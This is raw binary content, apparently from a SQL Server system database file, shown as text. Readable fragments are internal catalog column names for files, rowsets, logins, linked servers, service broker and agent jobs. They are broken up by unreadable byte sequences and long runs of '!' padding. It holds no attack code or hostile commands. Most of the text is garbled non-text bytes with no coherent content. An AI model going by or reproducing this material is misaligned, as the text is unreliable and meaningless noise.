\B?d]@?^??-~_PA?7_`A?\`B?HaA?bB?ȃcA?wd@?,le@?e5`f??i@?$k@?l@?2
m@?Mm@@?f{n??oPA?q?? r@?Jr@?0s@@?Jyt@?Tt???.v??.gz@?KR[{	Y@i/`?Ȗ@@%@9.@0<K "t".". ".".".@".		".wR-tO*qL'nI[6}X$kF!hCe@



b
=

_:\7


~
Y
4

			{	V	1		xS.	uP+rM(oJ%lG"iDC


				b
t	@

``KUQD^3<#|8~o`7P.@AAAACCCCGEEEEEDDDHI""""""""")))))),,,,,.....11112222233333366667777777:::::;;;;;;<<<<@@@@AAAACCCCDDDEEEEEGHI>>>???	
8800//--999***++				
@""))62))):::6,,)"	111@<<<<""
33333366667777777:::::;;;;;;<<hJ,xZ<jL.nP2z\> 



l
N
0

|^@"nP24



~
`
B
$

H*				p	fB$R	4		tV8`pRbD&~rT6rdvX:bD&F(
T6dF(tV8
fH*vX:
Z7M(-Ȩ^8!!!!`)0.&Aqu6fgidfs6 idmajor6 idminor6 numpart6$ownertype6rcrows6"rowsetid6status6auid6fgid6 ownerid6
pcdata6&pcreserved6	pcused6 pgfirst6&pgfirstiam6pgroot6status6type6fileid6"filename6name6status6fgid6"fgfragid6"dbfragid6phfgid6status6"dbfragid6phfgid6fgid6type6fgguid6lgfgid6status6name6"dbfragid6fileid6grpid6"filetype6$filestate6	growth6$createlsn6
 droplsn6"fileguid6.firstupdatelsn6$backuplsn6(diffbaselsn6*diffbaseguid6*diffbasetime6.diffbaseseclsn6"forkguid6 forklsn6forkvc6rsid6 rscolid6 hbcolid6&rcmodified6ti6cid6ordkey6(maxinrowlen6	status6
offset6 nullbit6bitpos6
 colguid6	$cmprlevel6
"fillfact6&maxnullbit6 maxleaf6
maxint6 minleaf6minint6rsguid6 lockres6(priority_id6name68service_contract_id62local_service_id68remote_service_name6"priority6"dbfragid6fileid6"fileguid6pname6id6subid6partid6 version6segid6 cloneid6"rowsetid6"dbfragid6	status6dbid6fragid6name6 brickid6pruid6status6 brickid6dbid6pruid6fragid6status6 brickid6dbid6pruid6fileid6grpid6status6"filetype6$filestate6	size6
 maxsize6growth6lname6
pname6$createlsn6 droplsn6"fileguid6.internalstatus6(readonlylsn6*readwritelsn60readonlybaselsn6.firstupdatelsn6,lastupdatelsn6$backuplsn6(diffbaselsn6*diffbaseguid6*diffbasetime6.diffbaseseclsn6*redostartlsn6,redotargetlsn6"forkguid6 forklsn6 forkvc6!4redostartforkguid6"scope_id6	"valclass6	id6	subid6	valnum6	value6	"imageval6
"fillfact6&maxnullbit6 maxleaf6
maxint6 minleaf6minint6rsguid6 lockres6(priority_id6name68service_contract_id62local_service_id68remote_service_name6"priority6.
.lastpkeybackup6"dbfragid6fileid6"fileguid6pname6id6subid6partid6 version6segid6 cloneid6"rowsetid6"dbfragid6	status6
(deflanguage6" status26id6name6sid6status6 status26"category6crdate6"modified6	(svcbrkrguid6
scope6$cmptlevel6-id6-$msglangid6-"severity6-status6-text6*id6*name6*sid6*status6*type6*crdate6*modate6*dbname6*	lang6*
 pwdhash6+id6+name6+ product6+"provider6+status6+modate6+ catalog6+cid6+	.connecttimeout6+
*querytimeout6dbid6fragid6name6 brickid6pruid6status6 brickid6dbid6pruid6fragid6status6 brickid6dbid6pruid6fileid6grpid6status6"filetype6$filestate6	size6
 maxsize6growth6lname6
pname6$createlsn6 droplsn6"fileguid6.internalstatus6(rN*v$LltV8Bt*
z&L`zZF
6

Z
v
@
 
J
(
*Df
t$

	


\
z\6z`|Vf4B^	 f			(	H		~`".H@^h~EkG^k;;3PWE:0
E:$$TEannrEassENENE
Z!EZHHQE
[RR1E[#E\JJSE]**E]ECECECEGEE%%EE&&'EE(()EDE DE"HE$IE&^E'^!E).E*.E+.E,.E-.E/_E0_E1_E2_E4`E5`E6`E9
E=EAECEDEEEF	EG`EH
EI
EJEKELEM
ENEOEPEQWERES	ETEUEVEWEXEZE[E]E^E`EbEc Ee"Ef#Eg$Ej&Ek&El'Em(En)Ep+Eq,Er-Es.Eu0Ev1Ew2Ex3Ez5E}7E~7E7E8E9E:E:E;E=E>E@EBECEEEGEHEJEKEMENEHQv-R	w.S
x/Ty0Uz1V
{2W|3X}4Y
~
5
Z6

[

		7	\8]9^:_;`
Z)L4<&.^8 !!!!`)F(
!H6I(farbrkrinst6I&farprincid6Ifarsvc6I(firstoorder6Ihandle6I$initiator6I"inseskey6I&inseskeyid6I&lastoorder6I*lastoorderfr6I"lifetime6I$outseskey6I(outseskeyid6I princid6I rcvfrag6Ircvseq6Istate6Istatus6I
svcid6Isysseq6Jclass6Jdepid6J"depsubid6J indepid6J&indepsubid6Jstatus6Kclass6Kdepid6K"depsubid6K indepid6K&indepsubid6Kstatus6Nclass6Nguid6Nid6Nstatus6Nsubid6Zhash6Zname6Znid6Zqid6[defval6[	deriv6[enum6[id6[kind6[nameid6[ nmscope6[qual6[
status6["symspace6[uriord6[xsdid6\compid6\dflt6\kind6\ord6\status6]defval6]"maxoccur6]"minoccur6] ordinal6]"placedid6]$placingid6]status6^class6^crypto6^id6^status6^&thumbprint6^type6_$algorithm6_$bitlength6_"encrtype6_id6_"modified6_name6_pkey6_	pukey6_&thumbprint6`	$batchtext6I"priority6R cprelid6Rfragid6R$fragobjid6Rts6Rstatus6R"datasize6R itemcnt6Rrowcnt6U&stoplistid6U"stopword6Ulcid6Ustatus6V2property_list_id6V(property_id6V,property_name6V0guid_identifier6V.int_identifier6V6string_description6Wmsgref6Wcount6W msgbody6Plsid6Piname6P$ipipename6Ppid6Pstatus6Pcrdate6Pmodate6P$sysdbpath6T(database_id6T,register_date6T,registered_by6T version6T"fileguid6Yid6Ytgid6Ylow6Yhigh6Yrowcnt6Ysize6Ycsn6Yepoch6Y	status6Y
 history6Y created6Y"modified6Oid6Olsn6Oepoch6Ocsn6O created&service_id6xstatus6x&validation6<8z8binary_message_body6<8z<conversation_group_id6<8z8conversation_handle6<8z0fragment_bitmap6<8z
,fragment_size6<8z&message_id6<8z@message_sequence_number6<8z0message_type_id6<8z,next_fragment6<8z"priority6<8z,queuing_order6<8z
8service_contract_id6<8z	&service_id6<8zstatus6<8z&validation6b"depclass6bdepid6b&indepclass6b$indepname6b(indepschema6b indepdb6b(indepserver6bnumber6b	status6u\{*oplsn_fseqno6u\{,oplsn_bOffset6u\{*oplsn_slotid6u\{ file_id6u\{(rowset_guid6u\{(column_guid6u\{<filestream_value_name6u\{Btransaction_sequence_num6u\{	status6|$commit_ts6| xdes_id6|&commit_lbn6|&commit_csn6|(commit_time6|"dbfragid6`	$batchtext6`
0paramorhinttext6I"priority6R cprelid6Rfragid6R$fragobjid6Rts6Rstatus6R"datasize6R itemcnt6Rrowcnt6U&stoplistid6U"stopword6Ulcid6Ustatus6Xv:message_enqueue_time6x:message_enqueue_time6<8z:message_enqueue_time6V2property_list_id6V(property_id6V,property_name6V0guid_identifier6V.int_identifier6V6string_description6Wmsgref6Wcount6W msgbody6u\{
size6x}"table_id6x}*oplsn_fseqno6x},oplsn_bOffset6x}*oplsn_slotid6x}$item_guid6Plsid6Piname6P$ipipename6Ppid6Pstatus6Pcrdate6Pmodate6P$sysdbpath6T(database_id6T,register_date6T,registered_by6T version6T"fileguid6Yid6Ytgid6Ylow6Yhigh6Yrowcnt6Ysize6Ycsn6Yepoch6Y	status					f	P	.	
	rT8pR4nP6t\D*`B(z
p@`:rF



d

D




.
d
H

D.\xlF&hF*|\"
<~X6`
+)U<e6&hobtcolid6I*farbrkrinst6. status60internalstatus6`"created6Xv:binary_message_body6eE8originating_server6_20description_id6W>originating_server_id6>0@category_name69' @class6"B.master_server6@$@step_id6@8@on_success_action6@"@job_id6)?K`flags6Haa<notification_message6Mmb*@pager_days6n3c,@date_posted69d(run_status6ie0@category_name69Kf:conversation_handle6|g@name6
G6*mailitem_id6GON@notify_netsend_operator_name6^*@primary_id6,le"task_id6u\{Dtransaction_sequence_num6'6schema_collection6	'-6source_length_max6p@time6)=2@automatic_post6F,2powershell_path6G*@proxy_name6V"@job_id6\2replyto_address6|.logging_level6.@oem_errorlog68(6@volume_device_id6ݐ.82powershell_path6/9&@job_name6x[:6@allow_both_nulls6=5;*growth_type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!""X~T\R^d".2f@`)jo6.	status6.&thumbprint61class61id61name61subid61value62
chk62(collationid62
 created62dflt62id62length62"modified62name62prec62scale62schid62	status62xtype63class63
(collationid63 idmajor63 intprop63length63name63prec63	scale63status63subid63utype63xtype66	$dataspace66"fillfact66id66indid66 intprop66
lobds66name66rowset66status66"tinyprop66type67 idmajor67 idminor67 intprop67status67subid67$tinyprop167$tinyprop26:class6: created6:id6: intprop6:	"modified6:name6:nsid6:status6:type6<"imageval6<objid6<"subobjid6<"valclass6<valnum6<value6@class6@ created6@id6@ intprop6@"modified6@name6@status6@type6Aclass6A indexid6Aobjid6A"rowsetid6A$rowsetnum6Cid6Cname6Cremsvc6Cscid6Cstatus6Ddlgerr6Ddlgid6D enqtime6D&finitiator6D*frombrkrinst6D fromsvc6D&hdrpartlen6D$hdrseclen6D msgbody6D&msgbodylen6Dmsgenc6Dmsgid6D$msgseqnum6D	 msgtype6D
"rsndtime6Dstatus6D"svccontr6D&tobrkrinst6Dtosvc6D
"unackmfn6Eaddr6E"brkrinst6Eid6E"lifetime6E miraddr6Ename6Eremsvc6Gid6G"refcount6G&service_id6Gstatus6Hdiagid6Hhandle6H$initiator6H sendseq6H"sendxact6I	"contract6I$convgroup6Idiagid6I$dlgopened6I"dlgtimer6I
$enddlgseq6Astatus6;class6;id6;subid6; grantee6;,audit_spec_id6;type6;state6Dmsgref67$tinyprop36> hobt_id6>$column_id6>&segment_id6> version6>,encoding_type6>$row_count6>status6> base_id6>	$magnitude6>
<primary_dictionary_id6>@secondary_dictionary_id6>(min_data_id6>
(max_data_id6>&null_value6>*on_disk_size6>"data_ptr6? hobt_id6?$column_id6?,dictionary_id6? version6?type6?flags6? last_id6?(entry_count6?	*on_disk_size6?
"data_ptr68id68name68"protocol68type68bstat68"affinity68pstat68tstat68	 typeint68
port168port268site68
dfltns68"wsdlproc68dfltdb68$authrealm68dfltdm68 maxconn68encalg68"authtype60srvid60lgnid60name60status60modate60 pwdhash6/srvid6/name6/lgnid6/status6/modate69id69 nmspace69alias69 objname69status!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"xV6



p
Z
<
"

lP*4hJ$


p
J
*

					j	FF	$		zX8"`4(P,~.VvnhL*d|fF*L,,zhL`>J^ |RhH.z^H&tZ@"dH,h@(,Lh~`77M4a™FI\XvA"I"I"I"I"I"I8"I"I"I8"I"I"I"J"J"J"J"J"J"Ki"Ki"Ki"Ki"Ki"Ki"L"L"L"L"L"L"L"L"L		"L


"L
"L"L

"L"L"L
"L
"L
"L
"L
"L
"L
"L"L"L
"L
"L
"L"L
"L"L"N"N"N"N"N"Z]"Z]"Z]"Z]@"[]"[]"[]"[]"[]"[]"[]"[]"[		]"[

"["[@"\c"\f"\c"\c"\e@"]"]"]"]"]"]"]@"^"^"^ "^"^@"^"_"_"_ "_"_"_"_"_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!